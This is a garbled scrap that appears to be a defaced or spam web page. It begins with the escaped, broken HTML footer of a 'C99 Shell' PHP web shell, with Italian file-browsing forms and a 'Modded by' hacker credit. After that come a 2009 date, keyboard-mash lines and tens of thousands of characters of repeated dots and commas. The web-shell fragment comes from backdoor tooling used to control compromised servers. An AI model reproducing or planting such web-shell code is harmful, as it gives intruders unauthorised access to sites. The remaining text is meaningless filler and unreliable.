<br><TABLE style="BORDER- COLLAPSE: collapse" cellSpacing=0 borderColorDark=#66 6666 cellPadding=5 height="1" ; width="100%&qu ot; bgColor=#333333 borderColorLight=#c 0c0c0 border=1><tr& gt;<td width="50%&quo t; height="1" ; valign="top&qu ot;><center&g t;<b>-= Vai alla cartella =-</b><for m action="<?p hp echo $surl; ?>">< input type=hidden name=act value="ls" ;><input type="text&quo t; name="d" size="50" value="<?ph p echo $dispd; ?>">& ;nbsp;<input type=submit value="Vai&quo t;></form> </center>< /td><td width="50%&quo t; height="1" ; valign="top&qu ot;><center&g t;<b>-= Vai al file =-</b><for m action="<?p hp echo $surl; ?>">< input type=hidden name=act value="gofile& quot;><input type=hidden name="d" value="<?ph p echo $dispd; ?>">< input type="text&quo t; name="f" size="50" value="<?ph p echo $dispd; ?>">& ;nbsp;<input type=submit value="Vai&quo t;></form> </center>< /td></tr>& lt;/table>
<br><TABLE style="BORDER- COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#66 6666 cellPadding=0 width="100%&qu ot; bgColor=#333333 borderColorLight=#c 0c0c0 border=1><tr& gt;<td width="990&quo t; height="1" ; valign="top&qu ot;><p align="center& quot;><b>C 99 Shell<?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about" ;><u><b >Modded by</b></u& gt;</a> h4cK3r0n3, Thnx to Friul_Hack | <a href="http://w ww.eurohackers.it&q uot;><font color="#0006FF ">Eurohacke rs</font>< /a><font color="#0006FF "></font > | Tempo generazione pagina: <?php echo round(getmicrotime( )-starttime,4); ?></b>< /p></td>&l t;/tr></table >
</body></h tml><?php chdir($lastdir); c99shexit(); ?>

Tue Jun 02, 2009 06:27:49
asdasdasd
asdsdwdad

.............,..... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ,.................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ......,............ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ............,...... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................., ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .....,............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...........,....... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................,. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ....,.............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..........,........ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................,.. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...,............... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .........,......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...............,... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..,................ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ........,.......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..............,.... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .,................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .......,........... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .............,..... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ,.................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ......,............ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ............,...... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................., ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .....,............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...........,....... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................,. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ....,.............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..........,........ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................,.. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...,............... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .........,......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...............,... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..,................ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ........,.......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..............,.... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .,................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .......,........... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .............,..... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ,.................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ......,............ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ............,...... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................., ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .....,............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...........,....... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................,. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ....,.............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..........,........ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................,.. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...,............... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .........,......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...............,... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..,................ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ........,.......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..............,.... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .,................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .......,........... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .............,..... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ,.................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ......,............ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ............,...... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................., ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .....,............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...........,....... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................,. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ....,.............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..........,........ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................,.. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...,............... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .........,......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ,.................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ......,............ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ............,...... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................., ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .....,............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...........,....... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................,. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ....,.............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..........,........ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................,.. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...,............... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .........,......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...............,... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..,................ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ........,.......... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ..............,.... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .,................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .......,........... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .............,..... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ,.................. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ......,............ ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ............,...... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................., ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .....,............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ...........,....... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... .................,. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ....,.............. ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... ................... 